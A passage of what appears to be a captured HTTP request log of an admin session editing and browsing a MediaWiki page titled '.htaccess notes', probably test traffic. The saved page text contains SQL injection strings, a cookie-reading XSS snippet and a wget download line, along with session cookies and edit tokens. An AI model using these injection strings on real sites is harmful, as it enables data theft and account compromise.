name=\"wpSection\"\r\n\r\n\r\n------WebKitFormBoundarytGGUHVisK39cQRtQ\r\nContent-Disposition: form-data; name=\"wpStarttime\"\r\n\r\n20261109200104\r\n------WebKitFormBoundarytGGUHVisK39cQRtQ\r\nContent-Disposition: form-data; name=\"wpEdittime\"\r\n\r\n20261109200104\r\n------WebKitFormBoundarytGGUHVisK39cQRtQ\r\nContent-Disposition: form-data; name=\"editRevId\"\r\n\r\n0\r\n------WebKitFormBoundarytGGUHVisK39cQRtQ\r\nContent-Disposition: form-data; name=\"wpScrolltop\"\r\n\r\n304\r\n------WebKitFormBoundarytGGUHVisK39cQRtQ\r\nContent-Disposition: form-data; name=\"wpIgnoreBlankSummary\"\r\n\r\n1\r\n------WebKitFormBoundarytGGUHVisK39cQRtQ\r\nContent-Disposition: form-data; name=\"wpAutoSummary\"\r\n\r\nd41d8cd98f00b204e9800998ecf8427e\r\n------WebKitFormBoundarytGGUHVisK39cQRtQ\r\nContent-Disposition: form-data; name=\"oldid\"\r\n\r\n0\r\n------WebKitFormBoundarytGGUHVisK39cQRtQ\r\nContent-Disposition: form-data; name=\"parentRevId\"\r\n\r\n0\r\n------WebKitFormBoundarytGGUHVisK39cQRtQ\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\ntext/x-wiki\r\n------WebKitFormBoundarytGGUHVisK39cQRtQ\r\nContent-Disposition: form-data; name=\"model\"\r\n\r\nwikitext\r\n------WebKitFormBoundarytGGUHVisK39cQRtQ\r\nContent-Disposition: form-data; name=\"wpTextbox1\"\r\n\r\n{{Infobox\r\n| name = Example\r\n| image = Pic python3.png\r\n}}\r\n'''Example''' is a page about [[Main Page|the wiki]] and [https://example.com/docs the docs].\r\n\r\n== Install ==\r\nRun these, with python3 and powershell:\r\n<pre>\r\n#!/bin/sh\r\ncd /var/www && ls -la\r\npython3 -m venv .venv && . .venv/bin/activate\r\nwget http://example.com/setup.sh -O /tmp/setup.sh\r\ncat /etc/hosts\r\n</pre>\r\n<syntaxhighlight lang=\"sql\">\r\nSELECT name FROM users WHERE id = 1 OR 1=1;\r\nUNION SELECT password FROM accounts;\r\n</syntaxhighlight>\r\n<syntaxhighlight lang=\"javascript\">\r\ndocument.getElementById(\"x\").innerHTML = \"<b>\" + window.location + \"</b>\";\r\nalert(document.cookie);\r\n</syntaxhighlight>\r\nThe file .htaccess in the site root sets <code>RewriteRule ^(.*)$ index.php?title=$1</code>.\r\n\r\n{| class=\"wikitable sortable\"\r\n|-\r\n! Command !! Does\r\n|-\r\n| <code>ls -la</code> || lists files\r\n|-\r\n| <code>powershell -Command Get-Item</code> || shows an item\r\n|-\r\n| <code>python3 manage.py</code> || runs a script\r\n|}\r\n\r\n<gallery>\r\nFile:Pic python3.png|A picture\r\n</gallery>\r\n<ref>A note citing https://example.com/</ref>\r\n[[Category:Examples]]\r\n\r\n------WebKitFormBoundarytGGUHVisK39cQRtQ\r\nContent-Disposition: form-data; name=\"wpSummary\"\r\n\r\nNotes on .htaccess, python3, ls -la and .htaccess\r\n------WebKitFormBoundarytGGUHVisK39cQRtQ\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n\r\n------WebKitFormBoundarytGGUHVisK39cQRtQ\r\nContent-Disposition: form-data; name=\"wpDiff\"\r\n\r\nShow changes\r\n------WebKitFormBoundarytGGUHVisK39cQRtQ\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n7d1a0a012962ccd63016cba9ec5f406d6af22680+\\\r\n------WebKitFormBoundarytGGUHVisK39cQRtQ\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\npreview\r\n------WebKitFormBoundarytGGUHVisK39cQRtQ\r\nContent-Disposition: form-data; name=\"wpUltimateParam\"\r\n\r\n1\r\n------WebKitFormBoundarytGGUHVisK39cQRtQ--\r\n"}
{"method": "POST", "target": "/index.php?title=.htaccess_notes&action=submit", "headers": ["Host: example.com", "Content-Length: 3322", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySRt2Y7BoeXquAYid", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=.htaccess_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=10%401794254462%23153252fac0b4fff55405e90957449430"], "body": "------WebKitFormBoundarySRt2Y7BoeXquAYid\r\nContent-Disposition: form-data; name=\"wpUnicodeCheck\"\r\n\r\n\u2133\ud835\udcb2\u2665\ud835\udcca\ud835\udcc3\ud835\udcbe\ud835\udcb8\u2134\ud835\udcb9\u212f\r\n------WebKitFormBoundarySRt2Y7BoeXquAYid\r\nContent-Disposition: form-data; name=\"wpAntispam\"\r\n\r\n\r\n------WebKitFormBoundarySRt2Y7BoeXquAYid\r\nContent-Disposition: form-data; name=\"wpSection\"\r\n\r\n\r\n------WebKitFormBoundarySRt2Y7BoeXquAYid\r\nContent-Disposition: form-data; name=\"wpStarttime\"\r\n\r\n20261109200104\r\n------WebKitFormBoundarySRt2Y7BoeXquAYid\r\nContent-Disposition: form-data; name=\"wpEdittime\"\r\n\r\n20261109200104\r\n------WebKitFormBoundarySRt2Y7BoeXquAYid\r\nContent-Disposition: form-data; name=\"editRevId\"\r\n\r\n0\r\n------WebKitFormBoundarySRt2Y7BoeXquAYid\r\nContent-Disposition: form-data; name=\"wpScrolltop\"\r\n\r\n304\r\n------WebKitFormBoundarySRt2Y7BoeXquAYid\r\nContent-Disposition: form-data; name=\"wpIgnoreBlankSummary\"\r\n\r\n1\r\n------WebKitFormBoundarySRt2Y7BoeXquAYid\r\nContent-Disposition: form-data; name=\"wpAutoSummary\"\r\n\r\nd41d8cd98f00b204e9800998ecf8427e\r\n------WebKitFormBoundarySRt2Y7BoeXquAYid\r\nContent-Disposition: form-data; name=\"oldid\"\r\n\r\n0\r\n------WebKitFormBoundarySRt2Y7BoeXquAYid\r\nContent-Disposition: form-data; name=\"parentRevId\"\r\n\r\n0\r\n------WebKitFormBoundarySRt2Y7BoeXquAYid\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\ntext/x-wiki\r\n------WebKitFormBoundarySRt2Y7BoeXquAYid\r\nContent-Disposition: form-data; name=\"model\"\r\n\r\nwikitext\r\n------WebKitFormBoundarySRt2Y7BoeXquAYid\r\nContent-Disposition: form-data; name=\"wpTextbox1\"\r\n\r\n{{Infobox\r\n| name = Example\r\n| image = Pic python3.png\r\n}}\r\n'''Example''' is a page about [[Main Page|the wiki]] and [https://example.com/docs the docs].\r\n\r\n== Install ==\r\nRun these, with python3 and powershell:\r\n<pre>\r\n#!/bin/sh\r\ncd /var/www && ls -la\r\npython3 -m venv .venv && . .venv/bin/activate\r\nwget http://example.com/setup.sh -O /tmp/setup.sh\r\ncat /etc/hosts\r\n</pre>\r\n<syntaxhighlight lang=\"sql\">\r\nSELECT name FROM users WHERE id = 1 OR 1=1;\r\nUNION SELECT password FROM accounts;\r\n</syntaxhighlight>\r\n<syntaxhighlight lang=\"javascript\">\r\ndocument.getElementById(\"x\").innerHTML = \"<b>\" + window.location + \"</b>\";\r\nalert(document.cookie);\r\n</syntaxhighlight>\r\nThe file .htaccess in the site root sets <code>RewriteRule ^(.*)$ index.php?title=$1</code>.\r\n\r\n{| class=\"wikitable sortable\"\r\n|-\r\n! Command !! Does\r\n|-\r\n| <code>ls -la</code> || lists files\r\n|-\r\n| <code>powershell -Command Get-Item</code> || shows an item\r\n|-\r\n| <code>python3 manage.py</code> || runs a script\r\n|}\r\n\r\n<gallery>\r\nFile:Pic python3.png|A picture\r\n</gallery>\r\n<ref>A note citing https://example.com/</ref>\r\n[[Category:Examples]]\r\n\r\n------WebKitFormBoundarySRt2Y7BoeXquAYid\r\nContent-Disposition: form-data; name=\"wpSummary\"\r\n\r\nNotes on .htaccess, python3, ls -la and .htaccess\r\n------WebKitFormBoundarySRt2Y7BoeXquAYid\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n\r\n------WebKitFormBoundarySRt2Y7BoeXquAYid\r\nContent-Disposition: form-data; name=\"wpSave\"\r\n\r\nSave page\r\n------WebKitFormBoundarySRt2Y7BoeXquAYid\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n7d1a0a012962ccd63016cba9ec5f406d6af22680+\\\r\n------WebKitFormBoundarySRt2Y7BoeXquAYid\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\ndiff\r\n------WebKitFormBoundarySRt2Y7BoeXquAYid\r\nContent-Disposition: form-data; name=\"wpUltimateParam\"\r\n\r\n1\r\n------WebKitFormBoundarySRt2Y7BoeXquAYid--\r\n"}
{"method": "GET", "target": "/wiki/.htaccess_notes", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=.htaccess_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; my_wikiPostEditRevision12=created; cpPosIndex=11%401794254464%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=.htaccess_notes&action=history", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=11%401794254464%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=.htaccess_notes&action=edit&section=1", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=11%401794254464%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 291", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=.htaccess_notes&action=edit&section=1", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=11%401794254464%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=.htaccess_notes&section=1&sectiontitle=&summary=%2F*+Install+*%2F+&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=12&text=%3D%3D+Install+%3D%3D%0ARun+.htaccess+and+ls+-la.%0A&token=8d98a56fe79ce5cda12f70b54be1830f6af22681%2B%5C"}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 299", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=.htaccess_notes&action=edit&section=1", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=11%401794254464%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=.htaccess_notes&section=1&sectiontitle=&summary=%2F*+Install+*%2F+.htaccess&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=12&stashedtexthash=215fba744e2608c7aadd8d4879a8a1d4a77aeefc&token=8d98a56fe79ce5cda12f70b54be1830f6af22681%2B%5C"}
{"method": "POST", "target": "/index.php?title=.htaccess_notes&action=submit&section=1", "headers": ["Host: example.com", "Content-Length: 2123", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryiT7gCPrm1YQ2rA25", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=.htaccess_notes&action=edit&section=1", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=11%401794254464%23153252fac0b4fff55405e90957449430"], "body": "------WebKitFormBoundaryiT7gCPrm1YQ2rA25\r\nContent-Disposition: form-data; name=\"wpUnicodeCheck\"\r\n\r\n\u2133\ud835\udcb2\u2665\ud835\udcca\ud835\udcc3\ud835\udcbe\ud835\udcb8\u2134\ud835\udcb9\u212f\r\n------WebKitFormBoundaryiT7gCPrm1YQ2rA25\r\nContent-Disposition: form-data; name=\"wpAntispam\"\r\n\r\n\r\n------WebKitFormBoundaryiT7gCPrm1YQ2rA25\r\nContent-Disposition: form-data; name=\"wpSection\"\r\n\r\n1\r\n------WebKitFormBoundaryiT7gCPrm1YQ2rA25\r\nContent-Disposition: form-data; name=\"wpStarttime\"\r\n\r\n20261109200105\r\n------WebKitFormBoundaryiT7gCPrm1YQ2rA25\r\nContent-Disposition: form-data; name=\"wpEdittime\"\r\n\r\n20261109200104\r\n------WebKitFormBoundaryiT7gCPrm1YQ2rA25\r\nContent-Disposition: form-data; name=\"editRevId\"\r\n\r\n12\r\n------WebKitFormBoundaryiT7gCPrm1YQ2rA25\r\nContent-Disposition: form-data; name=\"wpScrolltop\"\r\n\r\n0\r\n------WebKitFormBoundaryiT7gCPrm1YQ2rA25\r\nContent-Disposition: form-data; name=\"wpAutoSummary\"\r\n\r\n48a19bb4c5ae768038e8343fe587d531\r\n------WebKitFormBoundaryiT7gCPrm1YQ2rA25\r\nContent-Disposition: form-data; name=\"oldid\"\r\n\r\n0\r\n------WebKitFormBoundaryiT7gCPrm1YQ2rA25\r\nContent-Disposition: form-data; name=\"parentRevId\"\r\n\r\n12\r\n------WebKitFormBoundaryiT7gCPrm1YQ2rA25\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\ntext/x-wiki\r\n------WebKitFormBoundaryiT7gCPrm1YQ2rA25\r\nContent-Disposition: form-data; name=\"model\"\r\n\r\nwikitext\r\n------WebKitFormBoundaryiT7gCPrm1YQ2rA25\r\nContent-Disposition: form-data; name=\"wpTextbox1\"\r\n\r\n== Install ==\r\nRun .htaccess and ls -la.\r\n\r\n------WebKitFormBoundaryiT7gCPrm1YQ2rA25\r\nContent-Disposition: form-data; name=\"wpSummary\"\r\n\r\n/* Install */ .htaccess\r\n------WebKitFormBoundaryiT7gCPrm1YQ2rA25\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n\r\n------WebKitFormBoundaryiT7gCPrm1YQ2rA25\r\nContent-Disposition: form-data; name=\"wpSave\"\r\n\r\nSave changes\r\n------WebKitFormBoundaryiT7gCPrm1YQ2rA25\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n8d98a56fe79ce5cda12f70b54be1830f6af22681+\\\r\n------WebKitFormBoundaryiT7gCPrm1YQ2rA25\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\ntext\r\n------WebKitFormBoundaryiT7gCPrm1YQ2rA25\r\nContent-Disposition: form-data; name=\"wpUltimateParam\"\r\n\r\n1\r\n------WebKitFormBoundaryiT7gCPrm1YQ2rA25--\r\n"}
{"method": "GET", "target": "/index.php?title=.htaccess_notes&diff=cur&oldid=prev", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794254465%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=.htaccess_notes&action=info", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794254465%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:WhatLinksHere&target=.htaccess+notes", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794254465%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:AllPages&from=.htaccess", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794254465%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:PrefixIndex&prefix=.htaccess&namespace=0", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794254465%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:Log&user=Admin&page=.htaccess+notes", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794254465%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:ListFiles&ilsearch=.htaccess", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794254465%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:FileDuplicateSearch&filename=Pic+.htaccess.png", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794254465%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:LinkSearch&target=example.com%2F.htaccess", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794254465%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:ListUsers&username=.htaccess", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794254465%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/search/title?q=.h&limit=10", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "accept: application/json", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794254465%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:Watchlist", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794254465%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.feedlink%2Chelplink%2Cspecial%7Cmediawiki.interface.helpers.linker.styles%7Cmediawiki.interface.helpers.styles%7Cmediawiki.rcfilters.filters.base.styles%7Cmediawiki.rcfilters.highlightCircles.seenunseen.styles%7Cmediawiki.special.changeslist%7Cmediawiki.special.changeslist.enhanced%2Clegend%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Special:Watchlist", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794254465%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Coojs%2Coojs-ui-core%2Coojs-ui-widgets%2Csite%7Cjquery.client%2CmakeCollapsible%7Cjquery.makeCollapsible.styles%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%2Cwidgets%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.pager.codex%7Cmediawiki.rcfilters.filters.ui%7Cmediawiki.special.changeslist.legend.js%7Cmediawiki.special.watchlist%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui-widgets.icons%7Coojs-ui-windows.icons%7Coojs-ui.styles.icons-content%2Cicons-editing-advanced%2Cicons-editing-core%2Cicons-editing-styling%2Cicons-interactions%2Cicons-layout%2Cicons-media%2Cicons-moderation%2Cindicators%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=xzl3m", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php?title=Special:Watchlist", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794254465%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special:Preferences", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794254465%23153252fac0b4fff55405e90957449430"], "body": ""}
